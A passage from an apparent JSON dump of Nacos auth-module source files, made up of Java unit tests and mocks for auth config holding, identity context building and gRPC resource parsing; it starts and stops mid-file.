assertFalse(NacosAuthConfigHolder.getInstance().isAnyAuthEnabled());\n        when(nacosAuthConfig.isAuthEnabled()).thenReturn(true);\n        assertTrue(NacosAuthConfigHolder.getInstance().isAnyAuthEnabled());\n    }\n    \n    @Test\n    void testIsAnyAuthEnabledWithScopeFound() {\n        when(nacosAuthConfig.isAuthEnabled()).thenReturn(true);\n        assertTrue(NacosAuthConfigHolder.getInstance().isAnyAuthEnabled(\"test\"));\n    }\n    \n    @Test\n    void testIsAnyAuthEnabledWithScopeNotFound() {\n        assertFalse(NacosAuthConfigHolder.getInstance().isAnyAuthEnabled(\"nonExist\"));\n    }\n    \n    @Test\n    void testIsAnyAuthEnabledWithScopeDisabled() {\n        when(nacosAuthConfig.isAuthEnabled()).thenReturn(false);\n        assertFalse(NacosAuthConfigHolder.getInstance().isAnyAuthEnabled(\"test\"));\n    }\n    \n    @Test\n    void testGetNacosAuthSystemType() {\n        when(nacosAuthConfig.getNacosAuthSystemType()).thenReturn(\"nacos\");\n        assertEquals(\"nacos\", NacosAuthConfigHolder.getInstance().getNacosAuthSystemType());\n    }\n    \n    @Test\n    void testGetNacosAuthSystemTypeWhenEmpty() {\n        ReflectionTestUtils.setField(NacosAuthConfigHolder.getInstance(), \"nacosAuthConfigMap\", Map.of());\n        assertNull(NacosAuthConfigHolder.getInstance().getNacosAuthSystemType());\n    }\n    \n    @Test\n    void testConstructorWithSpiProvider()\n            throws NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {\n        Map<Class<?>, Collection<Class<?>>> servicesMap = (Map<Class<?>, Collection<Class<?>>>) ReflectionTestUtils.getField(\n                NacosServiceLoader.class, \"SERVICES\");\n        List<Class<?>> classes = new LinkedList<>();\n        classes.add(MockNacosAuthConfig.class);\n        servicesMap.put(NacosAuthConfig.class, classes);\n        try {\n            Constructor<NacosAuthConfigHolder> constructor = NacosAuthConfigHolder.class.getDeclaredConstructor();\n            constructor.setAccessible(true);\n            NacosAuthConfigHolder holder = constructor.newInstance();\n            assertEquals(1, holder.getAllNacosAuthConfig().size());\n        } finally {\n            servicesMap.remove(NacosAuthConfig.class);\n        }\n    }\n    \n    public static class MockNacosAuthConfig implements NacosAuthConfig {\n        \n        @Override\n        public String getAuthScope() {\n            return \"mock\";\n        }\n        \n        @Override\n        public boolean isAuthEnabled() {\n            return false;\n        }\n        \n        @Override\n        public String getNacosAuthSystemType() {\n            return \"nacos\";\n        }\n        \n        @Override\n        public boolean isSupportServerIdentity() {\n            return false;\n        }\n        \n        @Override\n        public String getServerIdentityKey() {\n            return \"\";\n        }\n        \n        @Override\n        public String getServerIdentityValue() {\n            return \"\";\n        }\n    }\n}"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/context/GrpcIdentityContextBuilderTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.context;\n\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass GrpcIdentityContextBuilderTest {\n    \n    private static final String TEST_PLUGIN = \"test\";\n    \n    private static final String IDENTITY_TEST_KEY = \"identity-test-key\";\n    \n    private static final String IDENTITY_TEST_VALUE = \"identity-test-value\";\n    \n    @Mock\n    private NacosAuthConfig authConfig;\n    \n    @Mock\n    private Request request;\n    \n    private GrpcIdentityContextBuilder identityContextBuilder;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        identityContextBuilder = new GrpcIdentityContextBuilder(authConfig);\n        when(authConfig.getNacosAuthSystemType()).thenReturn(TEST_PLUGIN);\n        Map<String, String> headers = new HashMap<>();\n        headers.put(IDENTITY_TEST_KEY, IDENTITY_TEST_VALUE);\n        when(request.getHeaders()).thenReturn(headers);\n        when(request.getHeader(Constants.Identity.X_REAL_IP)).thenReturn(\"1.1.1.1\");\n    }\n    \n    @Test\n    void testBuildWithoutPlugin() {\n        when(authConfig.getNacosAuthSystemType()).thenReturn(\"non-exist\");\n        IdentityContext actual = identityContextBuilder.build(request);\n        assertNull(actual.getParameter(IDENTITY_TEST_KEY));\n    }\n    \n    @Test\n    void testBuild() {\n        IdentityContext actual = identityContextBuilder.build(request);\n        assertEquals(IDENTITY_TEST_VALUE, actual.getParameter(IDENTITY_TEST_KEY));\n        assertEquals(\"1.1.1.1\", actual.getParameter(Constants.Identity.REMOTE_IP));\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/context/HtppIdentityContextBuilderTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.context;\n\nimport com.alibaba.nacos.auth.config.NacosAuthConfig;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.constant.Constants;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\nimport org.junit.jupiter.api.extension.ExtendWith;\nimport org.mockito.Mock;\nimport org.mockito.junit.jupiter.MockitoExtension;\nimport org.mockito.junit.jupiter.MockitoSettings;\nimport org.mockito.quality.Strictness;\n\nimport jakarta.servlet.http.HttpServletRequest;\nimport java.util.Enumeration;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\nimport static org.mockito.Mockito.when;\n\n@ExtendWith(MockitoExtension.class)\n// todo remove this\n@MockitoSettings(strictness = Strictness.LENIENT)\nclass HtppIdentityContextBuilderTest {\n    \n    private static final String TEST_PLUGIN = \"test\";\n    \n    private static final String IDENTITY_TEST_KEY = \"identity-test-key\";\n    \n    private static final String IDENTITY_TEST_VALUE = \"identity-test-value\";\n    \n    @Mock\n    private NacosAuthConfig authConfig;\n    \n    @Mock\n    private HttpServletRequest request;\n    \n    @Mock\n    private Enumeration<String> headerNames;\n    \n    @Mock\n    private Enumeration<String> parameterNames;\n    \n    private HttpIdentityContextBuilder identityContextBuilder;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        identityContextBuilder = new HttpIdentityContextBuilder(authConfig);\n        when(authConfig.getNacosAuthSystemType()).thenReturn(TEST_PLUGIN);\n    }\n    \n    @Test\n    void testBuildWithoutPlugin() {\n        mockHeader(true);\n        mockParameter(true);\n        when(authConfig.getNacosAuthSystemType()).thenReturn(\"non-exist\");\n        IdentityContext actual = identityContextBuilder.build(request);\n        assertNull(actual.getParameter(IDENTITY_TEST_KEY));\n    }\n    \n    @Test\n    void testBuildWithHeader() {\n        mockHeader(true);\n        mockParameter(false);\n        IdentityContext actual = identityContextBuilder.build(request);\n        assertEquals(IDENTITY_TEST_VALUE, actual.getParameter(IDENTITY_TEST_KEY));\n        assertEquals(\"1.1.1.1\", actual.getParameter(Constants.Identity.REMOTE_IP));\n    }\n    \n    @Test\n    void testBuildWithParameter() {\n        mockHeader(false);\n        mockParameter(true);\n        IdentityContext actual = identityContextBuilder.build(request);\n        assertEquals(IDENTITY_TEST_VALUE, actual.getParameter(IDENTITY_TEST_KEY));\n    }\n    \n    @Test\n    void testBuildWithXForwardedFor() {\n        when(request.getHeader(\"X-Forwarded-For\")).thenReturn(\"10.0.0.1, 10.0.0.2\");\n        mockHeader(false);\n        mockParameter(false);\n        when(authConfig.getNacosAuthSystemType()).thenReturn(\"non-exist\");\n        IdentityContext actual = identityContextBuilder.build(request);\n        assertEquals(\"10.0.0.1\", actual.getParameter(Constants.Identity.REMOTE_IP));\n    }\n    \n    private void mockHeader(boolean contained) {\n        when(request.getHeaderNames()).thenReturn(headerNames);\n        if (contained) {\n            when(headerNames.hasMoreElements()).thenReturn(Boolean.TRUE, Boolean.FALSE);\n            when(headerNames.nextElement()).thenReturn(IDENTITY_TEST_KEY, (String) null);\n            when(request.getHeader(IDENTITY_TEST_KEY)).thenReturn(IDENTITY_TEST_VALUE);\n            when(request.getHeader(Constants.Identity.X_REAL_IP)).thenReturn(\"1.1.1.1\");\n        }\n    }\n    \n    private void mockParameter(boolean contained) {\n        when(request.getParameterNames()).thenReturn(parameterNames);\n        if (contained) {\n            when(parameterNames.hasMoreElements()).thenReturn(Boolean.TRUE, Boolean.FALSE);\n            when(parameterNames.nextElement()).thenReturn(IDENTITY_TEST_KEY, (String) null);\n            when(request.getParameter(IDENTITY_TEST_KEY)).thenReturn(IDENTITY_TEST_VALUE);\n        }\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/mock/MockAuthPluginService.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.mock;\n\nimport com.alibaba.nacos.plugin.auth.api.AuthResult;\nimport com.alibaba.nacos.plugin.auth.api.IdentityContext;\nimport com.alibaba.nacos.plugin.auth.api.Permission;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.spi.server.AuthPluginService;\n\nimport java.util.Collection;\nimport java.util.Collections;\n\npublic class MockAuthPluginService implements AuthPluginService {\n    \n    public static final String TEST_PLUGIN = \"test\";\n    \n    public static final String IDENTITY_TEST_KEY = \"identity-test-key\";\n    \n    @Override\n    public Collection<String> identityNames() {\n        return Collections.singletonList(IDENTITY_TEST_KEY);\n    }\n    \n    @Override\n    public boolean enableAuth(ActionTypes action, String type) {\n        return true;\n    }\n    \n    @Override\n    public String getAuthServiceName() {\n        return TEST_PLUGIN;\n    }\n    \n    @Override\n    public AuthResult validateAuthority(IdentityContext identityContext, Permission permission) {\n        return AuthResult.failureResult(401, \"mock auth failed\");\n    }\n    \n    @Override\n    public AuthResult validateIdentity(IdentityContext identityContext, Resource resource) {\n        return AuthResult.failureResult(403, \"mock auth failed\");\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/mock/MockResourceParser.java",
    "content": "/*\n * Copyright 1999-2023 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.mock;\n\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.auth.parser.ResourceParser;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\n\npublic class MockResourceParser implements ResourceParser<Object> {\n    \n    @Override\n    public Resource parse(Object request, Secured secured) {\n        throw new NacosRuntimeException(500);\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/parser/grpc/AiGrpcResourceParserTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.grpc;\n\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractAgentRequest;\nimport com.alibaba.nacos.api.ai.remote.request.AbstractMcpRequest;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServerBasicInfo;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseAgentCardRequest;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseMcpServerRequest;\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.remote.request.NotifySubscriberRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.params.ParameterizedTest;\nimport org.junit.jupiter.params.provider.Arguments;\nimport org.junit.jupiter.params.provider.MethodSource;\n\nimport java.lang.reflect.Method;\nimport java.util.stream.Stream;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass AiGrpcResourceParserTest {\n    \n    private AiGrpcResourceParser resourceParser;\n\n    private static Stream<Arguments> fulContextRequests() {\n        Arguments case1 = Arguments.of(mockMcpRequest(\"testNs\", \"testName\"), \"testNs\", \"testName\",\n                MockMcpRequest.class.getSimpleName());\n        Arguments case2 = Arguments.of(mockAgentRequest(\"testNs\", \"testName\"), \"testNs\", \"testName\",\n                MockAgentRequest.class.getSimpleName());\n        Arguments case3 = Arguments.of(makeReleaseAgentCardRequest(\"testNs\", \"testName\", \"testCardName\"), \"testNs\", \"testCardName\",\n                ReleaseAgentCardRequest.class.getSimpleName());\n        Arguments case4 = Arguments.of(mockOtherRequest(\"testNs\", \"testName\"),\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"\", NotifySubscriberRequest.class.getSimpleName());\n        Arguments case5 = Arguments.of(makeReleaseMcpServerRequest(\"testNs\", \"testName\", \"testSpecName\"), \"testNs\",\n                \"testSpecName\", ReleaseMcpServerRequest.class.getSimpleName());\n        return Stream.of(case1, case2, case3, case5);\n    }\n\n    private static Stream<Arguments> withoutNamespaceRequests() {\n        Arguments case1 = Arguments.of(mockMcpRequest(\"\", \"testName\"),\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"testName\", MockMcpRequest.class.getSimpleName());\n        Arguments case2 = Arguments.of(mockAgentRequest(null, \"testName\"),\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"testName\", MockAgentRequest.class.getSimpleName());\n        Arguments case3 = Arguments.of(mockOtherRequest(null, \"testName\"),\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"\", NotifySubscriberRequest.class.getSimpleName());\n        return Stream.of(case1, case2, case3);\n    }\n\n    private static Stream<Arguments> withoutNameRequests() {\n        Arguments case1 = Arguments.of(mockMcpRequest(\"testNs\", \"\"), \"testNs\", \"\",\n                MockMcpRequest.class.getSimpleName());\n        Arguments case2 = Arguments.of(mockAgentRequest(\"testNs\", null), \"testNs\", \"\",\n                MockAgentRequest.class.getSimpleName());\n        Arguments case3 = Arguments.of(mockOtherRequest(\"testNs\", \"\"),\n                AiConstants.Mcp.MCP_DEFAULT_NAMESPACE, \"\", NotifySubscriberRequest.class.getSimpleName());\n        return Stream.of(case1, case2, case3);\n    }\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        resourceParser = new AiGrpcResourceParser();\n    }\n\n    @ParameterizedTest\n    @MethodSource({\"fulContextRequests\", \"withoutNamespaceRequests\", \"withoutNameRequests\"})\n    @Secured(signType = SignType.AI)\n    void testParse(Request request, String expectedNamespaceId, String expectedName, String expectedRequestClassName) throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(expectedNamespaceId, actual.getNamespaceId());\n        assertEquals(Constants.DEFAULT_GROUP, actual.getGroup());\n        assertEquals(expectedName, actual.getName());\n        assertEquals(SignType.AI, actual.getType());\n        assertEquals(expectedRequestClassName, actual.getProperties()\n                .getProperty(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.REQUEST_CLASS));\n    }\n\n    private static AbstractMcpRequest mockMcpRequest(String testNs, String testS) {\n        MockMcpRequest result = new MockMcpRequest();\n        result.setNamespaceId(testNs);\n        result.setMcpName(testS);\n        return result;\n    }\n\n    private static MockAgentRequest mockAgentRequest(String testNs, String testS) {\n        MockAgentRequest result = new MockAgentRequest();\n        result.setNamespaceId(testNs);\n        result.setAgentName(testS);\n        return result;\n    }\n\n    private static ReleaseAgentCardRequest makeReleaseAgentCardRequest(String testNs, String agentName, String cardName) {\n        ReleaseAgentCardRequest result = new ReleaseAgentCardRequest();\n        result.setNamespaceId(testNs);\n        result.setAgentName(agentName);\n        AgentCard agentCard = new AgentCard();\n        agentCard.setName(cardName);\n        result.setAgentCard(agentCard);\n        return result;\n    }\n\n    private static ReleaseMcpServerRequest makeReleaseMcpServerRequest(String testNs, String mcpName,\n            String specName) {\n        ReleaseMcpServerRequest result = new ReleaseMcpServerRequest();\n        result.setNamespaceId(testNs);\n        result.setMcpName(mcpName);\n        McpServerBasicInfo serverSpecification = new McpServerBasicInfo();\n        serverSpecification.setName(specName);\n        result.setServerSpecification(serverSpecification);\n        return result;\n    }\n    \n    private static Request mockOtherRequest(String testNs, String testS) {\n        NotifySubscriberRequest result = new NotifySubscriberRequest();\n        result.setNamespace(testNs);\n        result.setGroupName(\"\");\n        result.setServiceName(testS);\n        return result;\n    }\n\n    @Secured(signType = SignType.AI)\n    void forSecureAnnotationMethod() {\n\n    }\n\n    private Secured getMethodSecure() throws NoSuchMethodException {\n        Method method = AiGrpcResourceParserTest.class.getDeclaredMethod(\"forSecureAnnotationMethod\");\n        return method.getAnnotation(Secured.class);\n    }\n    \n    private static class MockMcpRequest extends AbstractMcpRequest {\n    \n    }\n\n    private static class MockAgentRequest extends AbstractAgentRequest {\n\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/parser/grpc/ConfigGrpcResourceParserTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.grpc;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.config.remote.request.ConfigBatchListenRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigChangeNotifyRequest;\nimport com.alibaba.nacos.api.config.remote.request.ConfigPublishRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Method;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\n\nclass ConfigGrpcResourceParserTest {\n    \n    private ConfigGrpcResourceParser resourceParser;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        resourceParser = new ConfigGrpcResourceParser();\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithFullContext() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Request request = mockConfigRequest(\"testNs\", \"testG\", \"testD\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithoutNamespace() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Request request = mockConfigRequest(\"\", \"testG\", \"testD\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithoutGroup() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Request request = mockConfigRequest(\"testNs\", \"\", \"testD\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(StringUtils.EMPTY, actual.getGroup());\n        assertEquals(\"testD\", actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithoutDataId() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Request request = mockConfigRequest(\"testNs\", \"testG\", \"\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(StringUtils.EMPTY, actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithConfigBatchListenRequest() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        ConfigBatchListenRequest request = new ConfigBatchListenRequest();\n        request.addConfigListenContext(\"testG\", \"testD\", \"testNs\", \"111\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(StringUtils.EMPTY, actual.getGroup());\n        assertEquals(StringUtils.EMPTY, actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n        request.getConfigListenContexts().clear();\n        actual = resourceParser.parse(request, secured);\n        assertEquals(StringUtils.EMPTY, actual.getNamespaceId());\n        assertEquals(StringUtils.EMPTY, actual.getGroup());\n        assertEquals(StringUtils.EMPTY, actual.getName());\n        assertEquals(Constants.Config.CONFIG_MODULE, actual.getType());\n    }\n    \n    @Test\n    @Secured(signType = Constants.Config.CONFIG_MODULE)\n    void testParseWithReflectionRequest() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Request request = ConfigChangeNotifyRequest.build(\"rTestD\", \"rTestG\", \"rTestNs\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"rTestNs\", actual.getNamespaceId());\n        assertEquals(\"rTestG\", actual.getGroup());\n        assertEquals(\"rTestD\", actual.getName());\n    }\n    \n    private Request mockConfigRequest(String tenant, String group, String dataId) {\n        ConfigPublishRequest request = new ConfigPublishRequest();\n        request.setTenant(tenant);\n        request.setGroup(group);\n        request.setDataId(dataId);\n        return request;\n    }\n    \n    private Secured getMethodSecure() throws NoSuchMethodException {\n        StackTraceElement[] traces = new Exception().getStackTrace();\n        StackTraceElement callerElement = traces[1];\n        String methodName = callerElement.getMethodName();\n        Method method = this.getClass().getDeclaredMethod(methodName);\n        return method.getAnnotation(Secured.class);\n    }\n}\n"
  },
  {
    "path": "auth/src/test/java/com/alibaba/nacos/auth/parser/grpc/NamingGrpcResourceParserTest.java",
    "content": "/*\n * Copyright 1999-2021 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.auth.parser.grpc;\n\nimport com.alibaba.nacos.api.common.Constants;\nimport com.alibaba.nacos.api.naming.remote.request.AbstractNamingRequest;\nimport com.alibaba.nacos.api.naming.remote.request.NotifySubscriberRequest;\nimport com.alibaba.nacos.api.remote.request.Request;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.plugin.auth.api.Resource;\nimport org.junit.jupiter.api.BeforeEach;\nimport org.junit.jupiter.api.Test;\n\nimport java.lang.reflect.Method;\n\nimport static org.junit.jupiter.api.Assertions.assertEquals;\nimport static org.junit.jupiter.api.Assertions.assertNull;\n\nclass NamingGrpcResourceParserTest {\n    \n    private NamingGrpcResourceParser resourceParser;\n    \n    @BeforeEach\n    void setUp() throws Exception {\n        resourceParser = new NamingGrpcResourceParser();\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithFullContextForNamingRequest() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        AbstractNamingRequest request = mockNamingRequest(\"testNs\", \"testG\", \"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n        assertEquals(MockNamingRequest.class.getSimpleName(), actual.getProperties()\n                .getProperty(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.REQUEST_CLASS));\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithFullContextForOtherRequest() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Request request = mockOtherRequest(\"testNs\", \"testG\", \"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n        assertEquals(NotifySubscriberRequest.class.getSimpleName(), actual.getProperties()\n                .getProperty(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.REQUEST_CLASS));\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutNamespaceForNamingRequest() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        AbstractNamingRequest request = mockNamingRequest(null, \"testG\", \"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertNull(actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n        assertEquals(MockNamingRequest.class.getSimpleName(), actual.getProperties()\n                .getProperty(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.REQUEST_CLASS));\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutNamespaceForOtherRequest() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        Request request = mockOtherRequest(null, \"testG\", \"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertNull(actual.getNamespaceId());\n        assertEquals(\"testG\", actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n        assertEquals(NotifySubscriberRequest.class.getSimpleName(), actual.getProperties()\n                .getProperty(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.REQUEST_CLASS));\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutGroupForNamingRequest() throws NoSuchMethodException {\n        Secured secured = getMethodSecure();\n        AbstractNamingRequest request = mockNamingRequest(\"testNs\", null, \"testS\");\n        Resource actual = resourceParser.parse(request, secured);\n        assertEquals(\"testNs\", actual.getNamespaceId());\n        assertEquals(StringUtils.EMPTY, actual.getGroup());\n        assertEquals(\"testS\", actual.getName());\n        assertEquals(Constants.Naming.NAMING_MODULE, actual.getType());\n        assertEquals(MockNamingRequest.class.getSimpleName(), actual.getProperties()\n                .getProperty(com.alibaba.nacos.plugin.auth.constant.Constants.Resource.REQUEST_CLASS));\n    }\n    \n    @Test\n    @Secured()\n    void testParseWithoutGroupForOtherRequest() throws NoSuchMethodException {\n   